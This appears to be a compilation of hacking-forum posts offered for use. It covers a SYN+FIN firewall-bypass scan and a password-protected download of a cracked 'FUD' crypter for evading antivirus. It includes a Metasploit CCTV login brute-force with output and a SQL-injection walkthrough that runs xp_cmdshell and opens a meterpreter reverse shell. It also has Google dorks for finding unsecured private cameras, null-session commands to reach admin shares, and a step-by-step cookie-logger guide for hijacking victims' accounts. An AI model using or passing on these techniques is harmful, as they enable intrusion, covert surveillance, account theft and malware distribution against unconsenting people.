Bypassing Firewalls with SYN+FIN (NMAP)

There exists a vulnerability within many firewalls and other systems that permit a session to be established in spite of firewall rules. The specifics are outlined here To briefly demonstrate this, I will craft custom TCP packets with the SYN and FIN flags set. I will use Nmap for my port scanning, and Nemisis for all others:
NMap
nmap -v -v --scanflags SYNFIN -P0 <target>
Nemesis
nemesis tcp -v -fS -fF -D <target>  -S <myip>


In the case of Nmap, notice how the ports that were originally “filtered” are now “open”. Note, not all systems are vulnerable to this bypass.  Sorry for not having a better demo. Go and try it out on your own and see how it works. enjoy!
*************************************************************************************Advance hacking with NMAP available here (http://nmap.org/book/toc.html)

100% real Codelux Crypter 3.6.6 updated | FUD (0/30) | CRACKED | FREE | Bypass Sonar/kis | Unlimited

Codelux Crypter 3.0 updated | FUD (2/34

​

​

​

​

​

​

​

​

​

Download:
https://mega.co.nz/#!j84xxAoS!aZFl6uT3xMw-LF00BvUr3vRD0IFAtVp1zTw5v2DgUUo

Password:

hackerunleashed

Virus scan:

Hacking CCTV Security Video Surveillance Systems with Metasploit

A new module for the Metasploit Framework, cctv_dvr_login, discovers and tests the security of standalone CCTV (Closed Circuit Television) video surveillance systems. Such systems are frequently deployed in retail stores, living communities, personal residences, and business environments as part of their physical security program. However, many of these systems are vulnerable to exploitation that can allow attackers remote access. Such remote access, enabled by default, can allow not only the ability to view real-time video, but control of the cameras (if supported), and provide access to archived footage.

Most owners of CCTV video surveillance systems may not even be fully aware of the device's remote access capabilities as monitoring may be conducted exclusively via the local video console. This further increases the likelihood of attackers gaining/persisting remote access, with no indication to the owner that their video surveillance system and archived footage may be accessed remotely.

Here at Gotham Digital Science, we often encounter video surveillance systems during penetration testing engagements – some of which may be exposed to the Internet, either intentionally or by accident. With any video surveillance system it is often interesting (and sometimes very important) to find out exactly what cameras are monitoring/recording within the environment. Furthermore, access to such systems can often be utilized to support physical security testing initiatives.

This module targets standalone CCTV video surveillance systems by MicroDigital, HIVISION, CTRing, and a substantial number of other rebranded devices.

msf > use auxiliary/scanner/misc/cctv_dvr_loginmsf auxiliary(cctv_dvr_login) > set RHOSTS 10.10.1.14RHOSTS => 10.10.1.14msf auxiliary(cctv_dvr_login) > exploit

[*] 10.10.1.14:5920 CCTV_DVR - [001/133] - Trying username:'admin' with password:''

[-] 10.10.1.14:5920 CCTV_DVR - [001/133] - Failed login as: 'admin'

[*] 10.10.1.14:5920 CCTV_DVR - [002/133] - Trying username:'user' with password:''

[-] 10.10.1.14:5920 CCTV_DVR - [002/133] - Invalid user: 'user'

[*] 10.10.1.14:5920 CCTV_DVR - [003/133] - Trying username:'admin' with password:'admin'

[-] 10.10.1.14:5920 CCTV_DVR - [003/133] - Failed login as: 'admin'

[*] 10.10.1.14:5920 CCTV_DVR - [004/133] - Trying username:'admin' with       password:'1111'

[+] 10.10.1.14:5920 Successful login: 'admin' : '1111'

[*] Confirmed IE ActiveX HTTP interface (CtrWeb.cab v1,1,3,1): http://10.10.1.14:80

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

------------------------------------------------

CCTV DVR Login Scanning Utility

Exploiting SQL injection vulnerabilities with Metasploit (Part-1)

In this post we are going to show how to exploit a SQL injection vulnerability on a web application using Microsoft SQL server backend where xp_cmdshell is available to the attacker. Given a penetration test to a web application it is identified that it is vulnerable to SQL injection attacks and the penetration tester can execute administrative stored procedures:

http://192.168.1.66/showproduct.asp?id=1;exec master..xp_cmdshell ‘ping 192.168.1.64′;–

If the request shown above is successful then arbitrary commands could be executed in the host. At this point, there are a number of options that would allow the tester to fully compromise the server. There are public tools which could aid the attacker to automate the take over process. This post will cover the use of a Metasploit module.

The mssql_payload_sqli module will execute any Windows payload on the target host. In this example we will execute meterpreter which is one of the payloads that offers great flexibility to the penetration tester.

It is necessary to specify the exact point where the SQL injection vulnerability is. We do that by entering the GET_PATH variable with an [SQLi] token. The token will be the place where the payload will be executed. The rest of the exploitation process is the same as any other vulnerability, this is the exploitation based on the URL shown above:

msf > use windows/mssql/mssql_payload_sqli

msf exploit(mssql_payload_sqli) >set GET_PATH http://192.168.1.66/

showproduct.asp?id=1;[SQLi];--

GET_PATH => http://192.168.1.66/showproduct.asp?id=1;[SQLi];--

msf exploit(mssql_payload_sqli) > set RHOST 192.168.1.66
RHOST => 192.168.1.66

msf exploit(mssql_payload_sqli) >set PAYLOAD windows/patchupmeterpreter/reverse_tcp
PAYLOAD => windows/patchupmeterpreter/reverse_tcp

msf exploit(mssql_payload_sqli) > set LHOST 192.168.1.64
LHOST => 192.168.1.64

msf exploit(mssql_payload_sqli) > set LPORT 80
LPORT => 80

msf exploit(mssql_payload_sqli) > exploit

 After the exploitation the attacker will get a meterpreter shell. 

SQL injection exploitation with Metasploit

If you want to use this code you can download it from Secforce security tools repository.

Google Dorks of Live Webcams, CCTV etc. [Google Unsecured IP Cameras]

Try this one:
http://www.inurl-view-index-shtml.net/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
allintitle: “Network Camera NetworkCamera” Network cameras
intitle:Axis 2400 video server Mostly security cameras, car parks, colleges, clubs, bars, etc.
intitle:axis intitle:”video server” Mostly security cameras, car parks, colleges, bars, ski slopes etc.
intitle:”EvoCam” inurl:”webcam.html” Mostly European security cameras
intitle:”Live NetSnap Cam-Server feed” Network cameras, private and non private web cameras
intitle:”Live View / – AXIS” Mostly security cameras, car parks, colleges etc.
intitle:”LiveView / – AXIS” | inurl:view/view.shtml Mostly security cameras, car parks, colleges etc.
intitle:liveapplet Mostly security cameras, car parks, colleges, clubs, bars etc.
intitle:snc-cs3 inurl:home/ Mostly security cameras, swimming pools and more etc.
intitle:”snc-rz30 home” Mostly security cameras, shops, car parks
intitle:snc-z20 inurl:home/ Mostly security cameras, swimming pools and more etc.
intitle:”WJ-NT104 Main” Mostly security cameras, shops, car parks
inurl:LvAppl intitle:liveapplet Mostly security cameras, car parks, colleges etc.
inurl:indexFrame.shtml “Axis Video Server” Mostly security cameras, car parks, colleges etc.
inurl:lvappl A huge list of webcams around the world, mostly security cameras, car parks, colleges etc.
inurl:axis-cgi/jpg Mostly security cameras
inurl:indexFrame.shtml Axis Mostly security cameras, car parks, colleges etc.
inurl:”MultiCameraFrame?Mode=Motion” Mostly security cameras, pet shops, colleges etc.
inurl:/view.shtml Mostly security cameras, car parks, colleges etc.
inurl:/view/index.shtml Mostly security cameras, airports, car parks, back gardens, traffic cams etc.
inurl:viewerframe?mode= Network cameras, mostly private webcams etc.
inurl:”viewerframe?mode=motion” Network cameras
inurl:ViewerFrame?Mode=RefreshMostly security cameras, parks, bird tables etc.

Other searches:
control/userimage.html
liveapplet
inurl:indexframe.shtml
inurl:”view/index.shtml”
inurl:”view/indexFrame.shtml”
inurl:view/view.shtml
inurl:/view/view.shtml?videos=
inurl:ViewerFrame?Mode=
inurl:ViewerFrame?Mode=Motion
inurl:ViewerFrame?Mode=Refresh

In Title:
intitle:”live view” intitle:axis
intitle:”EvoCam” inurl:”webcam.html”
intitle:”i-Catcher Console – Web Monitor”
intitle:”Live NetSnap Cam-Server feed”
allintitle:liveapplet
intitle:liveapplet
intitle:”netcam live image”
intitle:”snc-rz30 home”
intitle:”WJ-NT104 Main”

In URL:
inurl:axis-cgi/jpg
inurl:indexFrame.shtml Axis
inurl:indexFrame.shtml “Axis Video Server”
inurl:lvappl live webcams
inurl:LvAppl intitle:liveapplet
inurl:”MultiCameraFrame?Mode=Motion”
inurl:/view:shtml
inurl:/view/index.shtml
inurl:view/indexframe.shtml
inurl:view/view.shtml
viewerframe?mode=
inurl:”viewerframe?mode=motion”
inurl:ViewerFrame?Mode=Refresh

Two searches in one order:
intitle:”live view” intitle:axis (two searches in one order)
intitle:axis intitle:”video server”
intitle:liveapplet inurl:LvAppl
intitle:”Live View / – AXIS” | inurl:view/view.shtml
intitle:start inurl:cgistart

All Cmd hacking commands (Working 100%)

Cmd hacking commands

I am Sure u guys Know All these commands.... I want to Help The Beginners.. So i am Posting This....

Useful Things to do on CMD!

First, open your Network Connection and right click and select Properties. Then Select TCP/IP and click on Properties again. Now Click on Advanced and WINS tab. Select Default for NeBIOS.

Now back to the main Local Area Connection window, select File and Print Sharing for Mic*ft Networks and hit enter.

This is just to make sure you have NetBIOS enabled. We will have some fun with NetBIOS on CMD.

First thing you need to know is some very helpfull commands to use on CMD(Command Prompt).

In case you don't know how to get CMD open in your box, then click on Start, then Run, then type "cmd" (no quotes, off course... you know the drill).

Back to commands:

nslookup
net view
net use
net user
ping
tracert
arp
route
nbtstat
netstat
ipconfig

In case you don't know some of them, then just type the command on CMD and hit enter. A little help will show up in your screen. Read it and understand what the command does.

Lets start easy...

1) ping : This command will allow you to know if the host you pinging is alive, which means if it is up at the time of executing the "ping" command.

ping x.x.x.x (x is the IP address)

or

ping http://www.whatever.com (http://www.whatever.com is the website you want to ping, but you don't know the IP)

OBS: Keep in mind that if the host you pinging is blocking ICMP packets, then the result will be host down.

2) nslookup : This command has many functionalities.
One is for resolving DNS into IP.
Lets say you know the website URL but you don't know its IP(and you want to find out).

nslookup http://www.whatever.com (http://www.whatever.com is the website you want to find out the IP)

Now, another really nice function of nslookup is to find out IP of specific Mail Severs

nslookup (enter)
set type=mx (enter)
yahoo.com

This command will give you the mail server IP of yahoo.com. You can use whatever server you want and if it is listed on DNS, then you get the IP. Simple, isn't it?

OK, now why would you want to have an IP of a mail server?
To send spoofed mail to your friends or even for SE.
In case you looking for "How to spoof email", then look for my "How to spoof email tutorial" http://www.infowar.com/forums/showth...&threadid=2360

3) tracert : This command will give you the hops that a packet will travel to reach its final destination.

OBS: This command is good to know the route a packet takes before it goes to the target box.

tracert x.x.x.x (x is the IP address)

or

tracert http://www.whatever.com (http://www.whatever.com is the website you don't know the IP)

4) arp : This command will show you the arp table. This is good to know if someone is doing arp poisoning in your LAN.

arp -a

5) route : This command will show you the routing table, gateway, interface and metric.

Code:
route print


6) ipconfig : This command will show tons of very helpful things.
Your IP, gateway, dns in use.

Code:
ipconfig
or

Code:
ipconfig /all

this command will give all that info but for all networks you might have it.

Also, in case you have a dynamic IP and want to change it, then type...

Code:
ipconfig /release (this will release your IP)

ipconfig /renew (this will renew your iP)

OBS: Keep in mind that those commands will change your IP, but the new IP will still be tighed up to you. So don't do anything stupid.

7) netstat : This command will show you connection to your box.

Code:
netstat

or

Code:
netstat -a (this will show you all the listening ports and connection with DNS names)
netstat -n (this will show you all the open connection with IP addresses)
netstat -an (this will combined both of the above)

net view x.x.x.x or computername (will list the available sharing folders on the target box)


Now some hints:

Code:
net use \ipaddressipc$ "" /user:administrator

(this command will allow you to connect to the target box as administrator)

Now if you want to connect to the target box and browse the entire C drive, then use this command:

Code:
net use K: \computernameC$
(this will create a virtual drive on your "my computer" folder)

OBS: Keep in mind that this will only works if the target box doesn't have an administrator password set.

And least but not last, the "help" command.

Quote:
whatevercommand /help

or

Quote:
whatevercommand /?


This command will help you to understand what it does and all the switchs available for each command.
Very useful if you know the command, but forgot the right switch.

Create a CookieLogger and Hack any Account

Cookies stores all the necessary Information about one’s account , using this information you can hack anybody’s account and change his password. If you get the Cookies of the Victim you can Hack any account the Victim is Logged into i.e. you can hack Google, Yahoo, Orkut, Facebook, Flickr etc.

What is a CookieLogger?

A CookieLogger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim.

Today I am going to show How to make your own Cookie Logger…Hope you will enjoy Reading it …

Step 1: Save the notepad file from the link below and Rename it as Fun.gif:

UnHidden Content:

http://crocko.com/1702516956.html

Step 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php:




Step 3: Create a new Notepad File and Save it as logfile.txt

Step 4: Upload this file to your server

cookielogger.php -> http://www.yoursite.com/cookielogger.php
logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif -> http://www.yoursite.com/fun.gif

If you don’t have any Website then you can use the following Website to get a Free Website which has php support :

http://0fees.net

step 5: Go to the victim forum and insert this code in the signature or a post :

UnHidden Content:

http://crocko.com/1702516964.html

Step 6: When the victim see the post he view the image u uploaded but when he click the image he has a Temporary Error and you will get his cookie in log.txt . The Cookie Would Look as Follows:



phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%​3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9



Step 7: To get the access to the Victim’s Account you need to replace your cookies with the Victim’s Cookie. You can use a Cookie Editor for this. The string before “=” is the name of the cookie and the string after “=” is its value. So Change the values of the cookies in the cookie Editor.

Step 8: Goto the Website whose Account you have just hacked and You will find that you are logged in as the Victim and now you can change the victim’s account information.

Note : Make Sure that from Step 6 to 8 the Victim should be Online because you are actually Hijacking the Victim’s Session So if the Victim clicks on Logout you will also Logout automatically but once you have changed the password then you can again login with the new password and the victim would not be able to login.

Disclaimer: I don’t take Responsibility for what you do with this script, served for Educational purpose only. …